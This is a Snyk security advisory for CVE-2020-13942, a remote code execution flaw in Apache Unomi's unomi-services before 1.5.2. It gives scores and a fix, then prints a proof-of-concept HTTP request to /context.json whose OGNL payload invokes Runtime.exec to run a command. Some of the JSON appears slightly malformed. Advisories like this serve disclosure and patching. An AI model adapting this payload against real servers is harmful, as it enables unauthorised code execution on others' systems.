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Remote Code Execution (RCE) Affecting org.apache.unomi:unomi-services package, versions [,1.5.2)

0.0
critical

Snyk CVSS

    Attack Complexity Low
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 97.52% (100th percentile)
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NVD
9.8 critical

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  • Snyk ID SNYK-JAVA-ORGAPACHEUNOMI-1045348
  • published 25 Nov 2020
  • disclosed 25 Nov 2020
  • credit Eugene Rojavski
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Introduced: 25 Nov 2020

CVE-2020-13942 Open this link in a new tab
CWE-94 Open this link in a new tab

How to fix?

Upgrade org.apache.unomi:unomi-services to version 1.5.2 or higher.

Overview

org.apache.unomi:unomi-services is a package that provides Apache Unomi Context Server Core Services.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). It is possible to inject malicious OGNL or MVEL scripts into the /context.json public endpoint.

PoC 

POST /context.json HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/json
Content-Length: 200
 
 
{"personalizations":[{"id" : "test","strategy":"matching-first",strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{propertyName":"(#runtimeclass=#this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod=#runtimeclass.getDeclaredMethods().{^#this.name.equals(\"getRuntime\")}[0]).(rtobj=#getruntimemethod.invoke(null,null)).(#execmethod=#runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang/String\")}.{? #this.getParameters().length<2[0]).(#execmethod.invoke(#rtobj,\" touch /tmp/POC\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"demo-session-id"}